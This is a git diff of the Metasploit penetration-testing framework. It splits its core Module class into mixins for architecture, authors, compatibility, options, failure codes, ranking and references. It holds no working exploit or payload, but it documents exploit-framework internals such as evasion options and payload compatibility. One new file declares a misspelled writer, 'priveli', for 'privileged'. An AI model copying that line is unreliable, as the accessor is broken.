payload was delivered but no session was opened (AV, network, etc) - # - PayloadFailed = 'payload-failed' - end - - ## # # Just some handy quick checks # ## - # - # Returns true if this module is an exploit module. - # - def exploit? - return (type == MODULE_EXPLOIT) - end - - # - # Returns true if this module is a payload module. - # - def payload? - return (type == MODULE_PAYLOAD) - end - - # - # Returns true if this module is an encoder module. - # - def encoder? - return (type == MODULE_ENCODER) - end - - # - # Returns true if this module is a nop module. - # - def nop? - return (type == MODULE_NOP) - end - - # - # Returns true if this module is an auxiliary module. - # - def auxiliary? - return (type == MODULE_AUX) - end - - # - # Returns true if this module is an post-exploitation module. - # - def post? - return (type == MODULE_POST) - end - # # Returns false since this is the real module # @@ -872,28 +291,6 @@ class Module false end - # - # Read a value from the module store - # - def [](k) - self.module_store[k] - end - - # - # Store a value into the module - # - def []=(k,v) - self.module_store[k] = v - end - - # - # The array of zero or more authors. - # - attr_reader :author - # - # The array of zero or more architectures. - # - attr_reader :arch # # The array of zero or more platforms. # @@ -902,18 +299,7 @@ class Module # The reference count for the module. # attr_reader :references - # - # The module-specific datastore instance. - # - attr_reader :datastore - # - # The module-specific options. - # - attr_reader :options - # - # Whether or not this module requires privileged access. - # - attr_reader :privileged + # # The license under which this module is provided. # @@ -924,30 +310,12 @@ class Module # attr_accessor :job_id - # - # A generic hash used for passing additional information to modules - # - attr_accessor :module_store - # # The last exception to occur using this module # attr_accessor :error - # - # A unique identifier for this module instance - # - attr_reader :uuid - -protected - attr_writer :uuid - def generate_uuid - self.uuid = Rex::Text.rand_text_alphanumeric(8).downcase - end - # - # The list of options that support merging in an information hash. - # - UpdateableOptions = [ "Name", "Description", "Alias", "PayloadCompat" ] + protected # # Sets the modules unsupplied info fields to their default values. @@ -967,94 +335,6 @@ protected self.module_store = {} end - # - # This method initializes the module's compatibility hashes by normalizing - # them into one single hash. As it stands, modules can define - # compatibility in their supplied info hash through: - # - # Compat:: direct compat definitions - # PayloadCompat:: payload compatibilities - # EncoderCompat:: encoder compatibilities - # NopCompat:: nop compatibilities - # - # In the end, the module specific compatibilities are merged as sub-hashes - # of the primary Compat hash key to make checks more uniform. - # - def init_compat - c = module_info['Compat'] - - if (c == nil) - c = module_info['Compat'] = Hash.new - end - - # Initialize the module sub compatibilities - c['Payload'] = Hash.new if (c['Payload'] == nil) - c['Encoder'] = Hash.new if (c['Encoder'] == nil) - c['Nop'] = Hash.new if (c['Nop'] == nil) - - # Update the compat-derived module specific compatibilities from - # the specific ones to make a uniform view of compatibilities - c['Payload'].update(module_info['PayloadCompat'] || {}) - c['Encoder'].update(module_info['EncoderCompat'] || {}) - c['Nop'].update(module_info['NopCompat'] || {}) - end - - # - # Register options with a specific owning class. - # - def info_fixups - # Each reference should be an array consisting of two elements - refs = module_info['References'] - if(refs and not refs.empty?) - refs.each_index do |i| - if !(refs[i].respond_to?('[]') and refs[i].length == 2) - refs[i] = nil - end - end - - # Purge invalid references - refs.delete(nil) - end - end - - # - # Register options with a specific owning class. - # - def register_options(options, owner = self.class) - self.options.add_options(options, owner) - self.datastore.import_options(self.options, 'self', true) - import_defaults(false) - end - - # - # Register advanced options with a specific owning class. - # - def register_advanced_options(options, owner = self.class) - self.options.add_advanced_options(options, owner) - self.datastore.import_options(self.options, 'self', true) - import_defaults(false) - end - - # - # Register evasion options with a specific owning class. - # - def register_evasion_options(options, owner = self.class) - self.options.add_evasion_options(options, owner) - self.datastore.import_options(self.options, 'self', true) - import_defaults(false) - end - - # - # Removes the supplied options from the module's option container - # and data store. - # - def deregister_options(*names) - names.each { |name| - self.options.remove_option(name) - self.datastore.delete(name) - } - end - # # Checks to see if a derived instance of a given module implements a method # beyond the one that is provided by a base class. This is a pretty lame @@ -1064,170 +344,9 @@ protected (self.method(method_name).to_s.match(/#{parent}[^:]/)) ? false : true end - # - # Merges options in the info hash in a sane fashion, as some options - # require special attention. - # - def merge_info(info, opts) - opts.each_pair { |name, val| - merge_check_key(info, name, val) - } - - return info - end - - # - # Updates information in the supplied info hash and merges other - # information. This method is used to override things like Name, Version, - # and Description without losing the ability to merge architectures, - # platforms, and options. - # - def update_info(info, opts) - opts.each_pair { |name, val| - # If the supplied option name is one of the ones that we should - # override by default - if (UpdateableOptions.include?(name) == true) - # Only if the entry is currently nil do we use our value - if (info[name] == nil) - info[name] = val - end - # Otherwise, perform the merge operation like normal - else - merge_check_key(info, name, val) - end - } - - return info - end - - # - # Checks and merges the supplied key/value pair in the supplied hash. - # - def merge_check_key(info, name, val) - if (self.respond_to?("merge_info_#{name.downcase}")) - eval("merge_info_#{name.downcase}(info, val)") - else - # If the info hash already has an entry for this name - if (info[name]) - # If it's not an array, convert it to an array and merge the - # two - if (info[name].kind_of?(Array) == false) - curr = info[name] - info[name] = [ curr ] - end - - # If the value being merged is an array, add each one - if (val.kind_of?(Array) == true) - val.each { |v| - if (info[name].include?(v) == false) - info[name] << v - end - } - # Otherwise just add the value - elsif (info[name].include?(val) == false) - info[name] << val - end - # Otherwise, just set the value equal if no current value - # exists - else - info[name] = val - end - end - end - - # - # Merge aliases with an underscore delimiter. - # - def merge_info_alias(info, val) - merge_info_string(info, 'Alias', val, '_') - end - - # - # Merges the module name. - # - def merge_info_name(info, val) - merge_info_string(info, 'Name', val, ', ', true) - end - - # - # Merges the module description. - # - def merge_info_description(info, val) - merge_info_string(info, 'Description', val) - end - - # - # Merge the module version. - # - def merge_info_version(info, val) - merge_info_string(info, 'Version', val) - end - - # - # Merges a given key in the info hash with a delimiter. - # - def merge_info_string(info, key, val, delim = ', ', inverse = false) - if (info[key]) - if (inverse == true) - info[key] = info[key] + delim + val - else - info[key] = val + delim + info[key] - end - else - info[key] = val - end - end - - # - # Merges options. - # - def merge_info_options(info, val, advanced = false, evasion = false) - - key_name = ((advanced) ? 'Advanced' : (evasion) ? 'Evasion' : '') + 'Options' - - new_cont = OptionContainer.new - new_cont.add_options(val, advanced, evasion) - cur_cont = OptionContainer.new - cur_cont.add_options(info[key_name] || [], advanced, evasion) - - new_cont.each_option { |name, option| - next if (cur_cont.get(name)) - - info[key_name] = [] if (!info[key_name]) - info[key_name] << option - } - end - - # - # Merges advanced options. - # - def merge_info_advanced_options(info, val) - merge_info_options(info, val, true, false) - end - - # - # Merges advanced options. - # - def merge_info_evasion_options(info, val) - merge_info_options(info, val, false, true) - end - - attr_accessor :module_info # :nodoc: - attr_writer :author, :arch, :platform, :references, :datastore, :options # :nodoc: + attr_writer :platform, :references # :nodoc: attr_writer :privileged # :nodoc: attr_writer :license # :nodoc: end - -# -# Alias the data types so people can reference them just by Msf:: and not -# Msf::Module:: -# -Author = Msf::Module::Author -Reference = Msf::Module::Reference -SiteReference = Msf::Module::SiteReference -Platform = Msf::Module::Platform -Target = Msf::Module::Target - end - diff --git a/lib/msf/core/module/arch.rb b/lib/msf/core/module/arch.rb new file mode 100644 index 0000000000..408c9c9395 --- /dev/null +++ b/lib/msf/core/module/arch.rb @@ -0,0 +1,46 @@ +module Msf::Module::Arch + # + # Attributes + # + + # @!attribute arch + # The array of zero or more architectures. + attr_reader :arch + + # + # Instance Methods + # + + # + # Return whether or not the module supports the supplied architecture. + # + def arch?(what) + if (what == ARCH_ANY) + true + else + arch.index(what) != nil + end + end + + # + # Return a comma separated list of supported architectures, if any. + # + def arch_to_s + arch.join(", ") + end + + # + # Enumerate each architecture. + # + def each_arch(&block) + arch.each(&block) + end + + protected + + # + # Attributes + # + + attr_writer :arch +end \ No newline at end of file diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index 563db9ec7d..5c390ae229 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -1,147 +1,36 @@ -# -*- coding: binary -*- -require 'msf/core' +module Msf::Module::Author + # + # Attributes + # -### -# -# This data type represents an author of a piece of code in either -# the framework, a module, a script, or something entirely unrelated. -# -### -class Msf::Module::Author - - # A hash of known author names - Known = - { - 'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com', - 'anonymous' => 'anonymous-contributor' + 0x40.chr + 'metasploit.com', - 'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com', - 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', - 'cazz' => 'bmc' + 0x40.chr + 'shmoo.com', - 'CG' => 'cg' + 0x40.chr + 'carnal0wnage.com', - 'ddz' => 'ddz' + 0x40.chr + 'theta44.org', - 'egypt' => 'egypt' + 0x40.chr + 'metasploit.com', - 'et' => 'et' + 0x40.chr + 'metasploit.com', - 'hdm' => 'hdm' + 0x40.chr + 'metasploit.com', - 'I)ruid' => 'druid' + 0x40.chr + 'caughq.org', - 'jcran' => 'jcran' + 0x40.chr + 'metasploit.com', - 'jduck' => 'jduck' + 0x40.chr + 'metasploit.com', - 'joev' => 'joev' + 0x40.chr + 'metasploit.com', - 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', - 'kf' => 'kf_list' + 0x40.chr + 'digitalmunition.com', - 'kris katterjohn' => 'katterjohn' + 0x40.chr + 'gmail.com', - 'MC' => 'mc' + 0x40.chr + 'metasploit.com', - 'msmith' => 'msmith' + 0x40.chr + 'metasploit.com', - 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', - 'natron' => 'natron' + 0x40.chr + 'metasploit.com', - 'optyx' => 'optyx' + 0x40.chr + 'no$email.com', - 'patrick' => 'patrick' + 0x40.chr + 'osisecurity.com.au', - 'pusscat' => 'pusscat' + 0x40.chr + 'metasploit.com', - 'Ramon de C Valle' => 'rcvalle' + 0x40.chr + 'metasploit.com', - 'sf' => 'stephen_fewer' + 0x40.chr + 'harmonysecurity.com', - 'sinn3r' => 'sinn3r' + 0x40.chr + 'metasploit.com', - 'skape' => 'mmiller' + 0x40.chr + 'hick.org', - 'skylined' => 'skylined' + 0x40.chr + 'edup.tudelft.nl', - 'spoonm' => 'spoonm' + 0x40.chr + 'no$email.com', - 'stinko' => 'vinnie' + 0x40.chr + 'metasploit.com', - 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', - 'todb' => 'todb' + 0x40.chr + 'metasploit.com', - 'vlad902' => 'vlad902' + 0x40.chr + 'gmail.com', - 'wvu' => 'wvu' + 0x40.chr + 'metasploit.com' - } + # @!attribute author + # The array of zero or more authors. + attr_reader :author # - # Class method that translates a string to an instance of the Author class, - # if it's of the right format, and returns the Author class instance + # Instance Methods # - def self.from_s(str) - instance = self.new - # If the serialization fails... - if (instance.from_s(str) == false) - return nil - end - - return instance + # + # Return a comma separated list of author for this module. + # + def author_to_s + author.collect { |author| author.to_s }.join(", ") end # - # Transforms the supplied source into an array of authors + # Enumerate each author. # - def self.transform(src) - Rex::Transformer.transform(src, Array, [ self ], 'Author') + def each_author(&block) + author.each(&block) end - def initialize(name = nil, email = nil) - self.name = name - self.email = email || Known[name] - end + protected # - # Compares authors + # Attributes # - def ==(tgt) - return (tgt.to_s == to_s) - end - # - # Serialize the author object to a string in form: - # - # name <email> - # - def to_s - str = "#{name}" - - if (email and not email.empty?) - str += " <#{email}>" - end - - return str - end - - # - # Translate the author from the supplied string which may - # have either just a name or also an email address - # - def from_s(str) - - - # Supported formats: - # known_name - # user [at/@] host [dot/.] tld - # Name <user [at/@] host [dot/.] tld> - - - if ((m = str.match(/^\s*([^<]+)<([^>]+)>\s*$/))) - self.name = m[1].sub(/<.*/, '') - self.email = m[2].sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.') - else - if (Known[str]) - self.email = Known[str] - self.name = str - else - self.email = str.sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.').gsub(/^<|>$/, '') - m = self.email.match(/([^@]+)@/) - self.name = m ? m[1] : nil - if !(self.email and self.email.index('@')) - self.name = self.email - self.email = '' - end - end - end - - self.name.strip! if self.name - - return true - end - - # - # Sets the name of the author and updates the email if it's a known author. - # - def name=(name) - self.email = Known[name] if (Known[name]) - @name = name - end - - attr_accessor :email - attr_reader :name + # @!attribute [w] author + attr_writer :author end diff --git a/lib/msf/core/module/compatibility.rb b/lib/msf/core/module/compatibility.rb new file mode 100644 index 0000000000..72cdf143cf --- /dev/null +++ b/lib/msf/core/module/compatibility.rb @@ -0,0 +1,115 @@ +module Msf::Module::Compatibility + # + # Returns the hash that describes this module's compatibilities. + # + def compat + module_info['Compat'] || {} + end + + # + # Returns whether or not this module is compatible with the supplied + # module. + # + def compatible?(mod) + ch = nil + + # Invalid module? Shoot, we can't compare that. + return true if (mod == nil) + + # Determine which hash to used based on the supplied module type + if (mod.type == Msf::MODULE_ENCODER) + ch = self.compat['Encoder'] + elsif (mod.type == Msf::MODULE_NOP) + ch = self.compat['Nop'] + elsif (mod.type == Msf::MODULE_PAYLOAD) + ch = self.compat['Payload'] + if self.respond_to?("target") and self.target and self.target['Payload'] and self.target['Payload']['Compat'] + ch = ch.merge(self.target['Payload']['Compat']) + end + else + return true + end + + # Enumerate each compatibility item in our hash to find out + # if we're compatible with this sucker. + ch.each_pair do |k,v| + + # Get the value of the current key from the module, such as + # the ConnectionType for a stager (ws2ord, for instance). + mval = mod.module_info[k] + + # Reject a filled compat item on one side, but not the other + if (v and not mval) + dlog("Module #{mod.refname} is incompatible with #{self.refname} for #{k}: limiter was #{v}") + return false + end + + # Track how many of our values matched the module + mcnt = 0 + + # Values are whitespace separated + sv = v.split(/\s+/) + mv = mval.split(/\s+/) + + sv.each do |x| + + dlog("Checking compat [#{mod.refname} with #{self.refname}]: #{x} to #{mv.join(", ")}", 'core', LEV_3) + + # Verify that any negate values are not matched + if (x[0,1] == '-' and mv.include?(x[1, x.length-1])) + dlog("Module #{mod.refname} is incompatible with #{self.refname} for #{k}: limiter was #{x}, value was #{mval}", 'core', LEV_1) + return false + end + + mcnt += 1 if mv.include?(x) + end + + # No values matched, reject this module + if (mcnt == 0) + dlog("Module #{mod.refname} is incompatible with #{self.refname} for #{k}: limiter was #{v}, value was #{mval}", 'core', LEV_1) + return false + end + + end + + dlog("Module #{mod.refname} is compatible with #{self.refname}", "core", LEV_1) + + + # If we get here, we're compatible. + return true + end + + protected + + # + # This method initializes the module's compatibility hashes by normalizing + # them into one single hash. As it stands, modules can define + # compatibility in their supplied info hash through: + # + # Compat:: direct compat definitions + # PayloadCompat:: payload compatibilities + # EncoderCompat:: encoder compatibilities + # NopCompat:: nop compatibilities + # + # In the end, the module specific compatibilities are merged as sub-hashes + # of the primary Compat hash key to make checks more uniform. + # + def init_compat + c = module_info['Compat'] + + if (c == nil) + c = module_info['Compat'] = Hash.new + end + + # Initialize the module sub compatibilities + c['Payload'] = Hash.new if (c['Payload'] == nil) + c['Encoder'] = Hash.new if (c['Encoder'] == nil) + c['Nop'] = Hash.new if (c['Nop'] == nil) + + # Update the compat-derived module specific compatibilities from + # the specific ones to make a uniform view of compatibilities + c['Payload'].update(module_info['PayloadCompat'] || {}) + c['Encoder'].update(module_info['EncoderCompat'] || {}) + c['Nop'].update(module_info['NopCompat'] || {}) + end +end \ No newline at end of file diff --git a/lib/msf/core/module/data_store.rb b/lib/msf/core/module/data_store.rb new file mode 100644 index 0000000000..d2ca02e6f3 --- /dev/null +++ b/lib/msf/core/module/data_store.rb @@ -0,0 +1,41 @@ +module Msf::Module::DataStore + # + # Attributes + # + + # @attribute [r] datastore + # The module-specific datastore instance. + # + # @return [Hash{String => String}] + attr_reader :datastore + + # + # Imports default options into the module's datastore, optionally clearing + # all of the values currently set in the datastore. + # + def import_defaults(clear_datastore = true) + # Clear the datastore if the caller asked us to + self.datastore.clear if clear_datastore + + self.datastore.import_options(self.options, 'self', true) + + # If there are default options, import their values into the datastore + if (module_info['DefaultOptions']) + self.datastore.import_options_from_hash(module_info['DefaultOptions'], true, 'self') + end + end + + # + # Overrides the class' own datastore with the one supplied. This is used + # to allow modules to share datastores, such as a payload sharing an + # exploit module's datastore. + # + def share_datastore(ds) + self.datastore = ds + self.datastore.import_options(self.options) + end + + protected + + attr_writer :datastore +end \ No newline at end of file diff --git a/lib/msf/core/module/deprecated.rb b/lib/msf/core/module/deprecated.rb index 2dee7bfddd..2879223d2f 100644 --- a/lib/msf/core/module/deprecated.rb +++ b/lib/msf/core/module/deprecated.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Module::Deprecated @@ -33,18 +34,34 @@ module Msf::Module::Deprecated end # (see ClassMethods#replacement_module) - def replacement_module; self.class.replacement_module; end + def replacement_module + if self.class.instance_variable_defined?(:@replacement_module) + return self.class.replacement_module + elsif self.class.const_defined?(:DEPRECATION_REPLACEMENT) + return self.class.const_get(:DEPRECATION_REPLACEMENT) + end + end + # (see ClassMethods#deprecation_date) - def deprecation_date; self.class.deprecation_date; end + def deprecation_date + if self.class.instance_variable_defined?(:@deprecation_date) + return self.class.deprecation_date + elsif self.class.const_defined?(:DEPRECATION_DATE) + return self.class.const_get(:DEPRECATION_DATE) + end + end # Extends with {ClassMethods} def self.included(base) base.extend(ClassMethods) end - def setup + # Print the module deprecation information + # + # @return [void] + def print_deprecation_warning print_warning("*"*72) - print_warning("*%red"+"This module is deprecated!".center(70)+"%clr*") + print_warning("*%red"+"The module #{refname} is deprecated!".center(70)+"%clr*") if deprecation_date print_warning("*"+"It will be removed on or about #{deprecation_date}".center(70)+"*") end @@ -52,6 +69,21 @@ module Msf::Module::Deprecated print_warning("*"+"Use #{replacement_module} instead".center(70)+"*") end print_warning("*"*72) + end + + def init_ui(input = nil, output = nil) + super(input, output) + print_deprecation_warning + @you_have_been_warned = true + end + + def generate + print_deprecation_warning + super + end + + def setup + print_deprecation_warning unless @you_have_been_warned super end diff --git a/lib/msf/core/module/failure.rb b/lib/msf/core/module/failure.rb new file mode 100644 index 0000000000..c07f4913f6 --- /dev/null +++ b/lib/msf/core/module/failure.rb @@ -0,0 +1,41 @@ +# Constants indicating the reason for an unsuccessful module attempt +module Msf::Module::Failure + # The exploit settings were incorrect + BadConfig = 'bad-config' + + # The network service disconnected us mid-attempt + Disconnected = 'disconnected' + + # The application replied indication we do not have access + NoAccess = 'no-access' + + # No confidence in success or failure + None = 'none' + + # The target is not compatible with this exploit or settings + NoTarget = 'no-target' + + # The application endpoint or specific service was not found + NotFound = 'not-found' + + # The application response indicated it was not vulnerable + NotVulnerable = 'not-vulnerable' + + # The payload was delivered but no session was opened (AV, network, etc) + PayloadFailed = 'payload-failed' + + # The exploit triggered some form of timeout + TimeoutExpired = 'timeout-expired' + + # The application replied in an unexpected fashion + UnexpectedReply = 'unexpected-reply' + + # No confidence in success or failure + Unknown = 'unknown' + + # The network service was unreachable (connection refused, etc) + Unreachable = 'unreachable' + + # The exploit was interrupted by the user + UserInterrupt = 'user-interrupt' +end \ No newline at end of file diff --git a/lib/msf/core/module/full_name.rb b/lib/msf/core/module/full_name.rb new file mode 100644 index 0000000000..1bcfc5ecd5 --- /dev/null +++ b/lib/msf/core/module/full_name.rb @@ -0,0 +1,67 @@ +# @note {Msf::Module::ModuleInfo#name} is unrelated to {#fullname} and should instead be thought of as the title or +# summary of the module. +# +# Names related to {#fullname}, such as {#fullname}, {#refname}, and {#shortname}. +module Msf::Module::FullName + extend ActiveSupport::Concern + + module ClassMethods + # + # Attributes + # + + + # @attribute refname + # The module's name that is assigned it it by the framework + # or derived from the path that the module is loaded from. + attr_accessor :refname + + # + # Class Methods + # + + def fullname + type + '/' + refname + end + + def shortname + refname.split('/').last + end + end + + # + # Instance Methods + # + + # + # Returns the module's framework full reference name. This is the + # short name that end-users work with (refname) plus the type + # of module prepended. Ex: + # + # payloads/windows/shell/reverse_tcp + # + def fullname + self.class.fullname + end + + # + # Returns the module's framework reference name. This is the + # short name that end-users work with. Ex: + # + # windows/shell/reverse_tcp + # + def refname + self.class.refname + end + + # + # Returns the module's framework short name. This is a + # possibly conflicting name used for things like console + # prompts. + # + # reverse_tcp + # + def shortname + self.class.shortname + end +end \ No newline at end of file diff --git a/lib/msf/core/module/module_info.rb b/lib/msf/core/module/module_info.rb new file mode 100644 index 0000000000..3234b3e8ad --- /dev/null +++ b/lib/msf/core/module/module_info.rb @@ -0,0 +1,220 @@ +module Msf::Module::ModuleInfo + # + # CONSTANTS + # + + # The list of options that support merging in an information hash. + UpdateableOptions = [ "Name", "Description", "Alias", "PayloadCompat" ] + + # + # Instance Methods + # + + # + # Returns the module's alias, if it has one. Otherwise, the module's + # name is returned. + # + def alias + module_info['Alias'] + end + + # + # Return the module's description. + # + def description + module_info['Description'] + end + + # + # Returns the disclosure date, if known. + # + def disclosure_date + date_str = Date.parse(module_info['DisclosureDate'].to_s) rescue nil + end + + # + # Return the module's name from the module information hash. + # + def name + module_info['Name'] + end + + protected + + # + # Attributes + # + + # @!attribute module_info + attr_accessor :module_info + + # + # Instance Methods + # + + # + # Register options with a specific owning class. + # + def info_fixups + # Each reference should be an array consisting of two elements + refs = module_info['References'] + if(refs and not refs.empty?) + refs.each_index do |i| + if !(refs[i].respond_to?('[]') and refs[i].length == 2) + refs[i] = nil + end + end + + # Purge invalid references + refs.delete(nil) + end + end + + # + # Checks and merges the supplied key/value pair in the supplied hash. + # + def merge_check_key(info, name, val) + if (self.respond_to?("merge_info_#{name.downcase}", true)) + eval("merge_info_#{name.downcase}(info, val)") + else + # If the info hash already has an entry for this name + if (info[name]) + # If it's not an array, convert it to an array and merge the + # two + if (info[name].kind_of?(Array) == false) + curr = info[name] + info[name] = [ curr ] + end + + # If the value being merged is an array, add each one + if (val.kind_of?(Array) == true) + val.each { |v| + if (info[name].include?(v) == false) + info[name] << v + end + } + # Otherwise just add the value + elsif (info[name].include?(val) == false) + info[name] << val + end + # Otherwise, just set the value equal if no current value + # exists + else + info[name] = val + end + end + end + + # + # Merges options in the info hash in a sane fashion, as some options + # require special attention. + # + def merge_info(info, opts) + opts.each_pair { |name, val| + merge_check_key(info, name, val) + } + + info + end + + # + # Merges advanced options. + # + def merge_info_advanced_options(info, val) + merge_info_options(info, val, true, false) + end + + # + # Merge aliases with an underscore delimiter. + # + def merge_info_alias(info, val) + merge_info_string(info, 'Alias', val, '_') + end + + # + # Merges the module description. + # + def merge_info_description(info, val) + merge_info_string(info, 'Description', val, ". ", true) + end + + # + # Merges advanced options. + # + def merge_info_evasion_options(info, val) + merge_info_options(info, val, false, true) + end + + # + # Merges the module name. + # + def merge_info_name(info, val) + merge_info_string(info, 'Name', val, ', ', true) + end + + # + # Merges options. + # + def merge_info_options(info, val, advanced = false, evasion = false) + + key_name = ((advanced) ? 'Advanced' : (evasion) ? 'Evasion' : '') + 'Options' + + new_cont = Msf::OptionContainer.new + new_cont.add_options(val, advanced, evasion) + cur_cont = Msf::OptionContainer.new + cur_cont.add_options(info[key_name] || [], advanced, evasion) + + new_cont.each_option { |name, option| + next if (cur_cont.get(name)) + + info[key_name] = [] if (!info[key_name]) + info[key_name] << option + } + end + + # + # Merges a given key in the info hash with a delimiter. + # + def merge_info_string(info, key, val, delim = ', ', inverse = false) + if (info[key]) + if (inverse == true) + info[key] = info[key] + delim + val + else + info[key] = val + delim + info[key] + end + else + info[key] = val + end + end + + # + # Merge the module version. + # + def merge_info_version(info, val) + merge_info_string(info, 'Version', val) + end + + # + # Updates information in the supplied info hash and merges other + # information. This method is used to override things like Name, Version, + # and Description without losing the ability to merge architectures, + # platforms, and options. + # + def update_info(info, opts) + opts.each_pair { |name, val| + # If the supplied option name is one of the ones that we should + # override by default + if (UpdateableOptions.include?(name) == true) + # Only if the entry is currently nil do we use our value + if (info[name] == nil) + info[name] = val + end + # Otherwise, perform the merge operation like normal + else + merge_check_key(info, name, val) + end + } + + return info + end +end \ No newline at end of file diff --git a/lib/msf/core/module/module_store.rb b/lib/msf/core/module/module_store.rb new file mode 100644 index 0000000000..8e34ebee79 --- /dev/null +++ b/lib/msf/core/module/module_store.rb @@ -0,0 +1,28 @@ +module Msf::Module::ModuleStore + # + # Attributes + # + + # + # A generic hash used for passing additional information to modules + # + attr_accessor :module_store + + # + # Instance Methods + # + + # + # Read a value from the module store + # + def [](k) + self.module_store[k] + end + + # + # Store a value into the module + # + def []=(k,v) + self.module_store[k] = v + end +end \ No newline at end of file diff --git a/lib/msf/core/module/network.rb b/lib/msf/core/module/network.rb new file mode 100644 index 0000000000..f68fbb1a0b --- /dev/null +++ b/lib/msf/core/module/network.rb @@ -0,0 +1,32 @@ +module Msf::Module::Network + # + # The default communication subsystem for this module. We may need to move + # this somewhere else. + # + def comm + Rex::Socket::Comm::Local + end + + # + # Indicates whether the module supports IPv6. This is true by default, + # but certain modules require additional work to be compatible or are + # hardcoded in terms of application support and should be skipped. + # + def support_ipv6? + true + end + + # + # Returns the address of the last target host (rough estimate) + # + def target_host + self.respond_to?('rhost') ? rhost : self.datastore['RHOST'] + end + + # + # Returns the address of the last target port (rough estimate) + # + def target_port + self.respond_to?('rport') ? rport : self.datastore['RPORT'] + end +end \ No newline at end of file diff --git a/lib/msf/core/module/options.rb b/lib/msf/core/module/options.rb new file mode 100644 index 0000000000..244d5000e4 --- /dev/null +++ b/lib/msf/core/module/options.rb @@ -0,0 +1,65 @@ +# Register, deregister, and validate {#options}. +module Msf::Module::Options + # + # Attributes + # + + # @attribute [r] options + # The module-specific options. + attr_reader :options + + # + # Instance Methods + # + + # + # This method ensures that the options associated with this module all + # have valid values according to each required option in the option + # container. + # + def validate + self.options.validate(self.datastore) + end + + protected + + # + # Removes the supplied options from the module's option container + # and data store. + # + def deregister_options(*names) + names.each { |name| + self.options.remove_option(name) + self.datastore.delete(name) + } + end + + attr_writer :options + + # + # Register advanced options with a specific owning class. + # + def register_advanced_options(options, owner = self.class) + self.options.add_advanced_options(options, owner) + self.datastore.import_options(self.options, 'self', true) + import_defaults(false) + end + + # + # Register evasion options with a specific owning class. + # + def register_evasion_options(options, owner = self.class) + self.options.add_evasion_options(options, owner) + self.datastore.import_options(self.options, 'self', true) + import_defaults(false) + end + + # + # Register options with a specific owning class. + # + def register_options(options, owner = self.class) + self.options.add_options(options, owner) + self.datastore.import_options(self.options, 'self', true) + import_defaults(false) + end +end \ No newline at end of file diff --git a/lib/msf/core/module/privileged.rb b/lib/msf/core/module/privileged.rb new file mode 100644 index 0000000000..cbf797ab30 --- /dev/null +++ b/lib/msf/core/module/privileged.rb @@ -0,0 +1,29 @@ +module Msf::Module::Privileged + # + # Attributes + # + + # @!attribute [r] privileged + # Whether or not this module requires privileged access. + attr_reader :privileged + + # + # Instance Methods + # + + # + # Returns whether or not the module requires or grants high privileges. + # + def privileged? + privileged == true + end + + protected + + # + # Attributes + # + + # @!attribute [w] privileged + attr_writer :priveli +end \ No newline at end of file diff --git a/lib/msf/core/module/ranking.rb b/lib/msf/core/module/ranking.rb new file mode 100644 index 0000000000..ca9b2f45e8 --- /dev/null +++ b/lib/msf/core/module/ranking.rb @@ -0,0 +1,51 @@ +module Msf::Module::Ranking + extend ActiveSupport::Concern + + module ClassMethods + # + # Returns this module's ranking. + # + def rank + (const_defined?('Rank')) ? const_get('Rank') : Msf::NormalRanking + end + + # + # Returns this module's ranking as a string for display. + # + def rank_to_h + rank_to_s.gsub('Rank', '').downcase + end + + # + # Returns this module's ranking as a string representation. + # + def rank_to_s + Msf::RankingName[rank] + end + end + + # + # Instance Methods + # + + # + # Returns the module's rank. + # + def rank + self.class.rank + end + + # + # Returns the module's rank in display format. + # + def rank_to_h + self.class.rank_to_h + end + + # + # Returns the module's rank in string format. + # + def rank_to_s + self.class.rank_to_s + end +end diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index c12c0a239f..5eeb77f097 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -87,31 +87,32 @@ class Msf::Module::SiteReference < Msf::Module::Reference # # Initialize the site reference. + # If you're updating the references, please also update: + # * tools/module_reference.rb + # * https://github.com/rapid7/metasploit-framework/wiki/Metasploit-module-reference-identifiers # def initialize(in_ctx_id = 'Unknown', in_ctx_val = '') self.ctx_id = in_ctx_id self.ctx_val = in_ctx_val if (in_ctx_id == 'OSVDB') - self.site = 'http://www.osvdb.org/' + in_ctx_val.to_s + self.site = "http://www.osvdb.org/#{in_ctx_val}" elsif (in_ctx_id == 'CVE') - self.site = "http://cvedetails.com/cve/#{in_ctx_val.to_s}/" + self.site = "http://cvedetails.com/cve/#{in_ctx_val}/" elsif (in_ctx_id == 'CWE') - self.site = "http://cwe.mitre.org/data/definitions/#{in_ctx_val.to_s}.html" + self.site = "http://cwe.mitre.org/data/definitions/#{in_ctx_val}.html" elsif (in_ctx_id == 'BID') - self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s + self.site = "http://www.securityfocus.com/bid/#{in_ctx_val}" elsif (in_ctx_id == 'MSB') - self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s + self.site = "http://technet.microsoft.com/en-us/security/bulletin/#{in_ctx_val}" elsif (in_ctx_id == 'EDB') - self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s - elsif (in_ctx_id == 'WVE') - self.site = 'http://www.wirelessve.org/entries/show/WVE-' + in_ctx_val.to_s + self.site = "http://www.exploit-db.com/exploits/#{in_ctx_val}" elsif (in_ctx_id == 'US-CERT-VU') - self.site = 'http://www.kb.cert.org/vuls/id/' + in_ctx_val.to_s - elsif (in_ctx_id == 'BPS') - self.site = 'https://strikecenter.bpointsys.com/bps/advisory/BPS-' + in_ctx_val.to_s + self.site = "http://www.kb.cert.org/vuls/id/#{in_ctx_val}" elsif (in_ctx_id == 'ZDI') - self.site = 'http://www.zerodayinitiative.com/advisories/ZDI-' + in_ctx_val.to_s + self.site = "http://www.zerodayinitiative.com/advisories/ZDI-#{in_ctx_val}" + elsif (in_ctx_id == 'WPVDB') + self.site = 